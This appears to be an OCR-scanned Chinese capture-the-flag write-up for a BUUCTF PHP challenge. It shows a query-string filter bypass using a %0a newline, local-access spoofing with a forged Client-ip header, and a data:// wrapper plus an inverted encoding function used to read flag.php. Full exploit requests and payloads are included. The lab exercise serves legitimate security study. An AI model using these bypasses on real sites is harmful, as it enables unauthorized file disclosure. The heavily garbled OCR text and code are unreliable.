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3| $query = § SERVER[’ QUERY STRING ];
4
5| if( substr count($query, > ’) !==0 || substr count ($query, %5f ) !=0 ){
6 die (" YOu are So cutE!’);
7|}
8| if($ GETb u p t'] !=="23333 && preg match(’/ 233338/, $ GET'b up t' 1)){
9 echo “you are going to the next ”
10 | }
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1, http://localhost/aaa/ (¥TFFaaa™ fjindex.php)
SR

$ SERVER[QUERY_STRING]=""

$ SERVER['REQUEST URI] = "/aaal";
$_SERVER['SCRIPT_NAME' = "/aaa/index.php";
$ SERVER['PHP_SELF' = "/aaalindex.php";
2, http://llocalhost/aaa/?p=222 (I} # 2 #1)

SR

$_SERVER[QUERY_STRING] = "p=222",
$_SERVER[REQUEST_URI] = "/aaa/?p=222";
$_SERVER['SCRIPT_NAME'] = "/aaal/index.php";
$ SERVER['PHP_SELF' = "/aaalindex.php";

3, http://localhost/aaal/index.php?p=222&q=333
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ZiR:

$ SERVER['QUERY_STRING] = "p=2228q=333";

$ SERVER[REQUEST_URI] = "/aaa/index.php?p=222&q=333";

$ SERVER['SCRIPT_NAME" = "/aaal/index.php";

$ SERVER['PHP_SELF' = "/aaalindex.php";

H SE A5 T

$ SERVER['QUERY_STRING"] SKEX & i&A), SL@IRRIH, 3REUHIR?)E mE
$ SERVER['REQUEST_URI"| 3KHX http://localhost J5 I i1, 43E/
$_SERVER['SCRIPT_NAME"] **4Fi AR #4E, W: index.php
$_SERVER['PHP_SELF"] 437 IEZEShAT A (314 4
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FTLASE—#B 4 fpayload: http://4bc5cdd7-d701-4c49-b9a7-d9368f@abd98.node4.buuoj.cn/?b.u.p.t=23333%0a

how smart you are ~

FLAG is in secrettw.php

Welcome!
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Flag is here~But how to get it?Local access only!
Sorry,you don't have permission! Your ip is :sorry,this way is banned!
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& Load URL http://4bc5cdd7-d701-4c49-b9a7-d9368f0abd98.node4.buuoj.cn/secrettw.php
E'4 Split URL
= Execution
#| PostData Referrer REVERSE ™ & HEX ™% 477 BASEe4 7 O oxHEX T 4 URL T MD5 T SHA1 T SHA256 7 ROT13 T
Post Data
Merak=das

Flag is here~But how to get it? <?php
error_reporting(0) ;

include takeip.php ;

ini_set (" open_basedir’,”.");

include ’flag. php ;

if (isset (§_POST[ Merak’ 1)) {
highlight_file(_FILE_):
die();

function change ($v) {
$v = baseb4_decode($v);

5

Sre = ;
for (§i=0;$i<strlen($v) ;$i++) {

$re .= chr ( ord ($v[$il) + $ix2 );

1

return $re;
}
echo ’Local access only! . "<br/>";
$ip = getlp();
if($ip!="127.0.0.1)
echo “Sorry,you don't have permission! Your ip is :”.$ip;
if($ip === ’127.0.0.1" & file_get_contents(S_GET[ 2333']) todat is a happy day ) {

echo “Your REQUEST 1is:”.change($_GET[ file']);

echo file_get_contents(change($_GET[ file’1)); }

2
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error_reporting(0);

include 'takeip.php';

ini_set('open_basedir','.");

include 'flag.php';

if(isset($_POST[ '"Merak'])){

highlight_file(___FILE_ );

die();

function change($v){
$v = base64_decode($v);
$re = '

for($i=0;%i<strlen($v);$i++){

$re .= chr ( ord ($v[$i]) + $i*2 );

return $re;

1.base64f#$v

2. SV — AN FERRasciin b2*i BEE# R EX M asciiF R

}

echo 'Local access only!'."<br/>";

$ip = getIp(); XARBHN— R AEXFFRIClient - ipiX R ik

if($ip!="127.0.0.1") BERMiipN127.0.0.1

echo "Sorry,you don't have permission! Your ip is :".$ip;

if($ip === '127.0.0.1' && file get contents($_GET['2333']) === 'todat is a happy day' FLMERdata:// Fi#iTs

echo "Your REQUEST is:".change($_GET['file']);

echo file_get_contents(change($_GET['file'])); }

?>



ord() BRiEI= chr() BB& (RIF8{UAYASCIZFGE) B8 unichr() &Y (XIFUnicodeXds) MBS, TA—1F5
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, B Unicode {8, WEEAT4AAY Unicode FFTEBH TREY

file_get_contents($_GET['2333']) === "todat is a happy day'"] Ll it X 4N 771k

% https://www.php.cn/manual/view/285.html

data://text/plain;base64,dGOkYXQgaXMgY SBoYXBweSBKY Xk=

HERdll

Example #1 $JE] data:// IRE

<?php
// fTEN "I love PHP"

echo file_get_contents ( 'data://text/plain;base64,SSBsb3Z1IFBIUAo=" );

?>

R ¥#Echange i $'5 ~4E payload i) il 4


https://www.php.cn/manual/view/285.html

<?php

function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;%i<strlen($v);$i++){
$re .= chr (ord ($v[$i]) + $i*2 );
}

return $re;

function changeRE($v){
/*HE BT LB IE H pay Load I B
*/
$re="";
for($i=0;%i<strlen($v);$i++){
$re .= chr (ord ($v[$i]) - $i*2 );
}

return $re;

echo(base64_encode(changeRE('flag.php')));

?>

[Running] php

ZmpdYSZmXGI=




EE: XERNANSHMEBETgetSHfen, WMpostte T LKA K I
file=ZmpdYSZmXGI=

& % fpayload:

POST /secrettw.php?2333=data://text/plain;base64,dGOkYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI= HTTP/1.1
Host: 4bc5cdd7-d701-4c49-b9a7-d9368f0abd98.node4.buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Cache: no-cache

Origin: moz-extension://56944923-d8f9-4d5b-b169-ab8dceb2eced

Connection: close

Client-ip: 127.0.0.1



Pretty IGEIVM \n  Actions w INSPECTOR m p

1 POST /secrettw.php?2333= g
data://text/plain;basefd, dG9kYXQgaxMgYSBoYXBwe S
Bkyxk=&flle=ZmpdYSZmxcI= HTTD/L1.1 NAME VALUE
Z Host: 2333 data://text/plain;base... >
dbchocdd7-d701-4c49-h9%a7-d9368f0akd98. node 4. buuo .
j.ecn file ZmpdYSZmXGl= >
3 User—Agent:IMozilla/S.D (Windows NT 10.0; P
Wingd; =E4; rv:78.0) Gecko/20100101 Remove A Mf| Add...

Firefox/78.0

Accept: */*

Accept-Language: Body Parameters (0) W
zh-CN, zh;g=0.8, 2h-TW, g=0.7, zh-HE; g=0. 5, en-U&,; g=

0.3,en;g=0.2

[ S -

6 Accept-Encoding: gzip, deflate Request Cookies (0) hd
7 Content-Type: application/x-www-form-urlencoded
8|Cache: no-cache Request Headers (10) A
S Origin:
moz-extension://56944923-d8f9-4d5b-h169-abidceb NAME VALUE
Zeced
10 Connection: close Host 4bc5cdd7-d701-4c49-... »
11 11 t-ip: 127.0.0.1 . .
i; TERETAP User-Agent Mozilla/5.0 (Windows... >
13 4bchedd7-d701-4c49-b9a7-d9368f0abd98.noded.buuoj.cn ]
Accept-Language zh-CN,zh;q=0.8,zh-T... »
Accept-Encoding gzip, deflate ?
Content-Type application/x-www-fo... »
Cache no-cache pJ
Origin moz-extension://5694... »
Connection close p-
[Client-ip 127.0.0.1 >
@ @ |Z||;| ‘ Search... 0 matches Retovénlit scdlmailooadds s 1)
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Flag is here~But how to get it?Local access only!
Your REQUEST is:flag.php
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<head></head> i
v <body> FEE RN (Flex)
Flag is here~But how to get it?Local access only! £ BRI E LIS,
<br>»
Your REQUEST is:flag.php - s

: UETRE_Fie B CS!
php $flag = 'flag{7b380144-89b6-4aec-974d-bdebcifb7e7c}’; echo "Flag is = o

here~But how to get Wi el
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